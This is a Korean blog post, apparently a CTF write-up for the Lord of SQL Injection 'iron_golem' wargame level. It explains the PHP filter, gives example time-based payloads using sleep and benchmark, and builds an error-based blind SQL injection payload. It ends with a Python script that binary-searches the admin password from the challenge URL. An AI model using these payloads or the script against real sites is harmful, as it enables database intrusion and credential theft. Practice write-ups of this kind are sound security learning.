일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
- Python
- JS
- blind sql injection
- 웹 개발
- 문제 풀이
- CTF
- 증적 사진
- sql injection point
- 보안 패치
- union sql injection
- XSS
- 로그인
- 게시판 만들기
- 과제
- 로그인페이지
- php
- csrf
- sql injection
- Los
- file upload
- cookie 탈취
- 모의해킹
- 세션
- css
- 웹 해킹
- MySQL
- Error based sql injection
- lord of sql injection
- 보고서
- 웹개발
- Today
- Total
Almon Dev
[Lord of SQL Injection] irongolem 문제 풀이 본문
iron golem 문제 풀이
iron golem 문제
문제 분석
문제 목표
GET 메서드의 pw 파라미터 값과 데이터베이스에서 가져온 admin 계정의 비밀번호가 일치할 경우, solve("iron_golem") 함수가 실행됩니다. 이 함수는 문제를 성공적으로 해결했을 때 호출되는 것으로 보이므로, 이 문제의 목표는 admin 계정의 비밀번호를 탈취하는 것으로 보입니다.
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
입력 제한
pw 파라미터에 sleep, benchmark 가 입력되는 경우 exit 함수를 실행해 PHP 코드 실행이 중단됩니다. sleep과 benchmark 두 함수는 Time Based SQL Injection에서 활용되는 함수입니다.
sleep => SQL 실행을 지연시키는 함수입니다.
ex) select if(id = 'admin' and pw like "1%", sleep(5), 0) from member -> admin 계정의 비밀번호 첫자리가 1이면 5초 지연됩니다.
benchmark => 연산을 반복하는 함수입니다.
ex) select if(id = 'admin' and pw like '1%', benchmark(10000, SHA1('benchmark')), 0) from member -> admin 계정의 비밀번호 첫자리가 1이면 SHA1('benchmark')를 1만 번 반복합니다.
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
취약점 분석
pw 파라미터에서 sleep, benchmark 외의 필터링이 존재하지 않아 SQL Injection이 확실히 가능하지만, 쿼리의 결과가 화면에 출력되지 않아, 원하는 정보를 추출하기가 힘듭니다. 하지만 SQL 문법 에러가 발생했을 때 에러 페이지가 화면에 출력되는 점을 이용해서 고의로 에러를 발생시켜 참과 거짓을 구분하는 Error Based SQL Injection이 가능합니다.
select 1 union select 2 => pw 컬럼 하나만 가져오는 쿼리에 삽입하면 컬럼 수 가 불일치로 에러가 발생합니다.
문제 풀이
1. pw 파라미터에 '(작은따옴표)를 삽입하면 SQL 문법 에러가 발생하여 에러 페이지가 출력됩니다.
2. 1=2 거짓 쿼리와 1=1 참 쿼리를 삽입하여 참과 거짓의 결과가 다른 것을 확인합니다.
3. Blind SQL Injection을 위해서 공격 format을 생성합니다.
4. Python 코드를 생성합니다.
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
import codecs
def sqli_request(url, session, index, ascii):
params = f"?pw=' or if(ascii(substr(pw,{index},1)) > {ascii}, (select 1 union select 2), 1) and '1'='1"
url += params
response = session.get(url)
# response = session.get(url, proxies=proxies, verify=False)
if "Subquery returns" in response.text:
return True
else:
return False
url = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php"
proxies = {
"http": "http://localhost:8080",
"https": "http://localhost:8080"
}
session = requests.Session()
session_id = "PHPSESSID"
session.cookies.set("PHPSESSID", session_id)
sql_result = ""
index = 1
while True:
left = 0
right = 127
if not sqli_request(url, session, index, 0):
sql_result = ""
print("\n")
break
while True:
mid = (left + right) // 2
if sqli_request(url, session, index, mid):
left = mid + 1
else:
right = mid
if left == right:
index += 1
sql_result += chr(left)
print(f"\rData : {sql_result}", end="")
break
5. Python으로 비밀번호를 추출합니다.
6. 비밀번호를 삽입하여 문제 풀이를 완료합니다.
실수
문제를 풀다가 분명히 문법적으로 틀린 게 없는데도 에러 페이지가 출력되지 않아서 꽤 많은 시간을 허비했습니다. 문제는 or과 and의 연산 순서와 최적화 때문이었는데, 뒷 부분에 주석을 쓰지 않고 문제를 풀기 위해 추가한 or '1' = '1 부분이 문제였습니다.
or if(ascii(substr(pw,1,1)) > 0, (select 1 union select 2), 1) or '1'='1
or이 두번 반복되는 경우 1=1은 항상 참이기때문에 앞의 if 문이 실행되지 않아 에러페이지가 출력되지 않은 것입니다.
'웹 해킹 > Lord of SQLi' 카테고리의 다른 글
[Lord of SQL Injection] hell_fire 문제 풀이 (0) | 2025.05.16 |
---|---|
[Lord of SQL Injection] dark_eyes 문제 풀이 (0) | 2025.05.16 |
[Lord of SQL Injection] dragon 문제 풀이 (0) | 2025.05.10 |
[Lord of SQL Injection] xavis 문제 풀이 (0) | 2025.05.08 |
[Lord of SQL Injection] nightmare 문제 풀이 (0) | 2025.05.03 |